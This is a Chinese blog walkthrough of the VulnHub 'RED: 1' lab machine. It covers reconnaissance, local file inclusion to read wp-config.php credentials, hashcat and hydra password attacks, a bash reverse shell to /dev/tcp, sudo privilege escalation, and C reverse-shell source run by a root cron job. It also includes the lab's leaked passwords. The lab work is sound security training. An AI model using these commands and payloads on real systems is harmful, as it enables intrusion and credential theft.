准备:

攻击机:虚拟机kali、本机win10。

靶机:RED: 1,地址我这里设置的桥接,,下载地址:https://download.vulnhub.com/red/Red.ova,下载后直接VirtualBox打开,如果使用vm打开可能会存在ip问题。

涉及的知识点:hashcat碰撞、shell反弹、权限提升、dns解析、文件包含、ssh登录时的口令爆破。

信息收集:

先扫描以下网段内的主机ip,获取下靶机的ip地址。

使用nmap扫描靶机开放端口对应的具体服务信息,命令:nmap -T4 -sV -p- -A 172.20.10.3,发现apache、wordpress版本等信息。

使用目录扫描工具对目录进行扫描,这里使用的是dirmap,命令:python dirmap.py -i http://172.20.10.3/ -lcf,发现robots.txt、readme.html、license.txt、wp-admin.php等文件。

发现了一个站点地图,尝试进行访问,但是访问失败,后面又在:http://172.20.10.3/wp-admin.php发现搜索下的提示,但是搜索后跳转到:http://redrocks.win/?s=1仍是失败,但是发现均是指向了域名:redrocks.win,后面又在http://172.20.10.3/wp-admin.php的源码中发现dns-prefetch,然后想到了设置dns解析。

win:打开C:\Windows\System32\drivers\etc\hosts文件,添加:172.20.10.3 redrocks.win,linux:修改/etc/hosts文件,然后访问:http://redrocks.win/成功进入界面,这里加了三个ip,第一个连手机热点获得的ip,后两个连家里网获得的ip,在家里搞得时候靶机崩了一次,导致靶机得数据库一直启动不了,只能重装,然后ip就变了。后面两个是后加的,开始想着手机开热点就能搞完呢。

在主界面进入到http://redrocks.win/2021/10/24/hello-world/,检查源代码时发现:Maybe you should ask Mr. Miessler for help,百度了以下,发现是一个github上有这个的信息。

查找后门文件:

那就下载下来爆破字典,然后在kali中使用gobuster进行爆破,命令:gobuster dir -u http://192.168.1.13 -w CommonBackdoors-PHP.fuzz.txt,CommonBackdoors-PHP.fuzz.txt文件在SecLists-master\Discovery\Web-Content下面,注意替换地址或者使用域名进行爆破,获取到NetworkFileManagerPHP.php文件。

返回的状态码为500,表示服务器运行错误,因此这里应该是需要传递一个参数,那就需要对参数名进行爆破,这里继续使用下载的字典,使用bp的爆破模块加载burp-parameter-names.txt进行爆破,burp-parameter-names.txt文件在SecLists-master\Discovery\Web-Content下面,获得传递的参数名称key(emmm 调整了key的顺序,不然不知道得到什么时候才能出来,前面一次把靶机给扫崩了...,观察返回数据包得长度就可以)。

确定参数名称后传递参数值进行测试,发现这里是一个文件包含漏洞,http://redrocks.win/NetworkFileManagerPHP.php?key=../../../../../etc/passwd。

通过伪协议先读取下NetworkFileManagerPHP.php文件,命令:http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=NetworkFileManagerPHP.php(读取php文件需要使用base64进行加密),对获得base64字符串进行解密获得源码信息。

base64加密字符串:

PD9waHAKICAgJGZpbGUgPSAkX0dFVFsna2V5J107CiAgIGlmKGlzc2V0KCRmaWxlKSkKICAgewogICAgICAgaW5jbHVkZSgiJGZpbGUiKTsKICAgfQogICBlbHNlCiAgIHsKICAgICAgIGluY2x1ZGUoIk5ldHdvcmtGaWxlTWFuYWdlclBIUC5waHAiKTsKICAgfQogICAvKiBWR2hoZENCd1lYTnpkMjl5WkNCaGJHOXVaU0IzYjI0bmRDQm9aV3h3SUhsdmRTRWdTR0Z6YUdOaGRDQnpZWGx6SUhKMWJHVnpJR0Z5WlNCeWRXeGxjdz09ICovCj8

源码信息:

<?php
$file = $_GET['key'];
if(isset($file))
{
include("$file");
}
else
{
include("NetworkFileManagerPHP.php");
}
/* VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw== */
?

源码中得base64字符串信息:

That password alone won't help you! Hashcat says rules are rules

读取下wp-config.php的文件信息,命令:http://redrocks.win/NetworkFileManagerPHP.php?key=php://filter/read=convert.base64-encode/resource=wp-config.php,获得base64加密的wp-config.php文件进行解密,获得mysql的账户名和密码:john/R3v_m4lwh3r3_k1nG!!

base64字符串信息:

PD9waHANCi8qKg0KICogVGhlIGJhc2UgY29uZmlndXJhdGlvbiBmb3IgV29yZFByZXNzDQogKg0KICogVGhlIHdwLWNvbmZpZy5waHAgY3JlYXRpb24gc2NyaXB0IHVzZXMgdGhpcyBmaWxlIGR1cmluZyB0aGUgaW5zdGFsbGF0aW9uLg0KICogWW91IGRvbid0IGhhdmUgdG8gdXNlIHRoZSB3ZWIgc2l0ZSwgeW91IGNhbiBjb3B5IHRoaXMgZmlsZSB0byAid3AtY29uZmlnLnBocCINCiAqIGFuZCBmaWxsIGluIHRoZSB2YWx1ZXMuDQogKg0KICogVGhpcyBmaWxlIGNvbnRhaW5zIHRoZSBmb2xsb3dpbmcgY29uZmlndXJhdGlvbnM6DQogKg0KICogKiBNeVNRTCBzZXR0aW5ncw0KICogKiBTZWNyZXQga2V5cw0KICogKiBEYXRhYmFzZSB0YWJsZSBwcmVmaXgNCiAqICogQUJTUEFUSA0KICoNCiAqIEBsaW5rIGh0dHBzOi8vd29yZHByZXNzLm9yZy9zdXBwb3J0L2FydGljbGUvZWRpdGluZy13cC1jb25maWctcGhwLw0KICoNCiAqIEBwYWNrYWdlIFdvcmRQcmVzcw0KICovDQovLyAqKiBNeVNRTCBzZXR0aW5ncyAtIFlvdSBjYW4gZ2V0IHRoaXMgaW5mbyBmcm9tIHlvdXIgd2ViIGhvc3QgKiogLy8NCi8qKiBUaGUgbmFtZSBvZiB0aGUgZGF0YWJhc2UgZm9yIFdvcmRQcmVzcyAqLw0KZGVmaW5lKCAnREJfTkFNRScsICd3b3JkcHJlc3MnICk7DQoNCi8qKiBNeVNRTCBkYXRhYmFzZSB1c2VybmFtZSAqLw0KZGVmaW5lKCAnREJfVVNFUicsICdqb2huJyApOw0KDQovKiogTXlTUUwgZGF0YWJhc2UgcGFzc3dvcmQgKi8NCmRlZmluZSggJ0RCX1BBU1NXT1JEJywgJ1Izdl9tNGx3aDNyM19rMW5HISEnICk7DQoNCi8qKiBNeVNRTCBob3N0bmFtZSAqLw0KZGVmaW5lKCAnREJfSE9TVCcsICdsb2NhbGhvc3QnICk7DQoNCi8qKiBEYXRhYmFzZSBDaGFyc2V0IHRvIHVzZSBpbiBjcmVhdGluZyBkYXRhYmFzZSB0YWJsZXMuICovDQpkZWZpbmUoICdEQl9DSEFSU0VUJywgJ3V0ZjgnICk7DQoNCi8qKiBUaGUgRGF0YWJhc2UgQ29sbGF0ZSB0eXBlLiBEb24ndCBjaGFuZ2UgdGhpcyBpZiBpbiBkb3VidC4gKi8NCmRlZmluZSggJ0RCX0NPTExBVEUnLCAnJyApOw0KDQpkZWZpbmUoJ0ZTX01FVEhPRCcsICdkaXJlY3QnKTsNCg0KZGVmaW5lKCdXUF9TSVRFVVJMJywgJ2h0dHA6Ly9yZWRyb2Nrcy53aW4nKTsNCmRlZmluZSgnV1BfSE9NRScsICdodHRwOi8vcmVkcm9ja3Mud2luJyk7DQoNCi8qKiNAKw0KICogQXV0aGVudGljYXRpb24gdW5pcXVlIGtleXMgYW5kIHNhbHRzLg0KICoNCiAqIENoYW5nZSB0aGVzZSB0byBkaWZmZXJlbnQgdW5pcXVlIHBocmFzZXMhIFlvdSBjYW4gZ2VuZXJhdGUgdGhlc2UgdXNpbmcNCiAqIHRoZSB7QGxpbmsgaHR0cHM6Ly9hcGkud29yZHByZXNzLm9yZy9zZWNyZXQta2V5LzEuMS9zYWx0LyBXb3JkUHJlc3Mub3JnIHNlY3JldC1rZXkgc2VydmljZX0uDQogKg0KICogWW91IGNhbiBjaGFuZ2UgdGhlc2UgYXQgYW55IHBvaW50IGluIHRpbWUgdG8gaW52YWxpZGF0ZSBhbGwgZXhpc3RpbmcgY29va2llcy4NCiAqIFRoaXMgd2lsbCBmb3JjZSBhbGwgdXNlcnMgdG8gaGF2ZSB0byBsb2cgaW4gYWdhaW4uDQogKg0KICogQHNpbmNlIDIuNi4wDQogKi8NCmRlZmluZSgnQVVUSF9LRVknLCAgICAgICAgICcydXVCdmM4U081ez5Vd1E8XjVWNVtVSEJ3JU59LUJ3V3F3fD48KkhmQndKKCAkJiUsKFpiZy9qd0ZrUkhmfnZ8Jyk7DQpkZWZpbmUoJ1NFQ1VSRV9BVVRIX0tFWScsICAnYWh9PElgNTJHTDZDXkB

源码信息:

<?php
/**
* The base configuration for WordPress
*
* The wp-config.php creation script uses this file during the installation.
* You don't have to use the web site, you can copy this file to "wp-config.php"
* and fill in the values.
*
* This file contains the following configurations:
*
* * MySQL settings
* * Secret keys
* * Database table prefix
* * ABSPATH
*
* @link https://wordpress.org/support/article/editing-wp-config-php/
*
* @package WordPress
*/
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' ); /** MySQL database username */
define( 'DB_USER', 'john' ); /** MySQL database password */
define( 'DB_PASSWORD', 'R3v_m4lwh3r3_k1nG!!' ); /** MySQL hostname */
define( 'DB_HOST', 'localhost' ); /** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' ); /** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' ); define('FS_METHOD', 'direct'); define('WP_SITEURL', 'http://redrocks.win');
define('WP_HOME', 'http://redrocks.win'); /**#@+
* Authentication unique keys and salts.
*
* Change these to different unique phrases! You can generate these using
* the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.
*
* You can change these at any point in time to invalidate all existing cookies.
* This will force all users to have to log in again.
*
* @since 2.6.0
*/
define('AUTH_KEY', '2uuBvc8SO5{>UwQ<^5V5[UHBw%N}-BwWqw|><*HfBwJ( $&%,(Zbg/jwFkRHf~v|');
define('SECURE_AUTH_KEY', 'ah}<I`52GL6C^@

发现数据库的账号和密码想起来查看/etc/passwd时存在一个john账户,那就使用ssh协议尝试登录以下,但是登录失败,然后又想起来了:That password alone won't help you! Hashcat says rules are rules,那就需要使用hashcat进行碰撞了,因为这些源码中的信息加密方式采用的base64,因此选择base64的规则进行碰撞,如果这里遇到问题,可以去https://www.intel.com/content/www/us/en/developer/tools/opencl-cpu-runtime/overview.html下载该文件进行解压,然后执行./install.sh即可,命令:hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > result.txt。

使用解出的密码通过hydra进行ssh爆破,命令:hydra -l john -P result.txt ssh://192.168.1.2,或者超级弱口令检查工具等均可,获得密码:R3v_m4lwh3r3_k1nG!!00。

使用ssh登录靶机,账号和密码:john/R3v_m4lwh3r3_k1nG!!0

登录成功时发现的问题:

1、连接每过一段时间会自动断开,并且会修改密码,因此我们可以自己反弹一个shell到kali上。kali开启6688端口的监听:nc -lvvp 6688,shell界面执行:bash -i >& /dev/tcp/192.168.1.12/6688 0>&1。

2、发现cat命令和vi命令进行了互换。

提权:

在home下发现ippsec、oxdf文件夹下的user.txt,但是均无权访问。

输入命令:sudo -l,查看到ippsec不需要密码就提权的命令有time

切换ippsec账户,命令:sudo -u ippsec /usr/bin/time /bin/bash,然后查看user.txt文件。

因为我们的shell一直被断开,严重影响我们的操作,因此我们使用ippsec账户反弹一个shell,这样当原ssh连接断开时,我们的shell就不会被断开了,这里注意cat和vi命令互换了,前面有提到,记得用:python3 -c 'import pty;pty.spawn("/bin/bash")'升级以下。

下面这里可以看到左侧的shell已经被关闭了,但通过ippsec账户反弹的shell还可以正常使用。

查找下ippsec账户所拥有权限的文件,发现了.git文件,命令:find / -group ippsec -type d 2>/dev/null | grep -v proc.

在.git文件里发现可执行程序rec并进行执行

查看了下目录下文件的所有者,发现是rev文件、supersecretfileuc.c文件具有root权限,然后想到了替换.c文件的内容,通过,c文件创建反弹root权限的shell,然后等待rcv执行调用supersecretfileuc.c完成root权限shell的反弹。

1、删除rev文件和supersecretfileuc.c文件,rm rev和rm supersecretfileuc.c。

2、在攻击机中开启9001端口的监听,命令:nc -lvvp 9001。

3、在靶机/var/www/wordpress/.git目录下创建supersecretfileuc.c并写入c语言反弹shell的脚本,命令:cat supersecretfileuc.c。

这里等待rev自动执行即可,手动执行是不行的。

c语言的反弹shell的脚本可以在https://www.revshells.com/网站生成,脚本内容如下:

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h> int main(void){
int port = 9001;
struct sockaddr_in revsockaddr; int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("192.168.1.12"); connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2); char * const argv[] = {"sh", NULL};
execve("/bin/sh", argv, NULL); return 0;
}

在root下发现red留下的后门文件,删除就可以夺回控制权了。

闲着无聊查看了一下后门文件信息,发现就是对上面替换的supersecretfileuc.c文件进行编译,然后并执行生成的文件。

我们的开始的shell一直被踢掉是因为kill_sess.sh文件杀掉了john账户的所有进程,因此我们使用ippsec账户创建shell的时候就不会被踢掉了。

在日志里发现执行后门代码的记录,命令:vi /var/log/syslog,也查看了定时任务:vim /etc/crontab。

使用命令:crontab -l可以查看执行后门文件的定时任务,这里也是导致我们ssh连接断开和返回干扰信息的根本原因,如下:

vulnhub靶场之RED: 1的更多相关文章

  1. 【Vulnhub靶场】RED: 1

    环境准备 下载靶机导入到vmware 但是获取不到地址,可以根据我博客里的方法修改网卡来获取IP地址 信息收集 我们改好网卡之后,我们使用arp-scan命令来探测靶机的IP地址 靶机IP地址为:19 ...

  2. Vulnhub靶场题解

    Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...

  3. VulnHub靶场学习_HA: ARMOUR

    HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...

  4. VulnHub靶场学习_HA: InfinityStones

    HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...

  5. VulnHub靶场学习_HA: Avengers Arsenal

    HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...

  6. VulnHub靶场学习_HA: Chanakya

    HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...

  7. VulnHub靶场学习_HA: Pandavas

    HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...

  8. VulnHub靶场学习_HA: Natraj

    HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...

  9. VulnHub靶场学习_HA: Chakravyuh

    HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...

随机推荐

  1. 4.5省选模拟solution

    \(4.5\)省选测试\(solution\) 题面可是我精心准备(咕咕咕)了一周写出来的,大家就当看故事吧(那里面的人物确实是存在的,\(E\)就是本人啦,也算是对一段经历的回忆吧,所以这套考试的题 ...

  2. 一文搞懂什么是kubernetes Service

    1.什么是Service? 在kubernets中,Pod是应用程序的载体,Pod你可以想象成就是容器,为动态的一组Pod提供一个固定的访问入口,它是以一种叫ClusterIP地址来进行标识,而Clu ...

  3. Computational Protein Design with Deep Learning Neural Networks

    本文使用深度神经网络完成计算蛋白质设计去预测20种氨基酸概率. Introduction 针对特定结构和功能的蛋白质进行工程和设计,不仅加深了对蛋白质序列结构关系的理解,而且在化学.生物学和医学等领域 ...

  4. 利用MySQL Router构建读写分离MGR集群

    GreatSQL社区原创内容未经授权不得随意使用,转载请联系小编并注明来源. 目录 1. 部署MySQL Router 2. 启动mysqlrouter服务 3. 确认读写分离效果 4. 确认只读负载 ...

  5. 设计模式(一)----设计模式概述及UML图解析

    1.设计模式概述 1.1 软件设计模式的产生背景 "设计模式"最初并不是出现在软件设计中,而是被用于建筑领域的设计中. 1977年美国著名建筑大师.加利福尼亚大学伯克利分校环境结构 ...

  6. 在生鲜零售业,DolphinScheduler 还能这么玩!

    点击上方 蓝字关注我们 ✎ 编 者 按 2021 年,Apache DolphinScheduler 社区又迎来了新的蓬勃发展,社区活跃度持续提高.目前,项目 GitHub Star 已达 6.7k, ...

  7. MybatisPlus——实现多数据源操作

    多数据源 适用:一般工作时候会有多个数据库,每个库对应不同的业务数据.程序如果每次数据都访问同一个数据库,该数据库压力很大访问会很慢. 官方文档:https://baomidou.com/(建议多看看 ...

  8. wallpaperPKG文件提取

    简单粗暴 下载这个ZIP文件链接: 下载地址戳我 提取码: ag43 解压后双击打开如下文件 我们在解压一下repkg-master.zip解压后如下,注意我的路径进入到这些很多文件的页面 返回首页复 ...

  9. tomcat服务器和servlet的基本认识

    今天下午在知乎看见了一个老哥的文章,写的是servlet写的很好,以前我对Javaweb方面的理解比较混乱今天看了这位老哥的文章后受益匪浅,知乎名叫:bravo1988​ 里面也有讲servlet和s ...

  10. MFRC522学习笔记

    MFRC522主要特性 容量为8K位(bits)=1K字节(bytes)EEPROM 分为16个扇区,每个扇区为4块,每块16个字节,以块为存取单位 每个扇区有独立的一组密码及访问控制 每张卡有唯一序 ...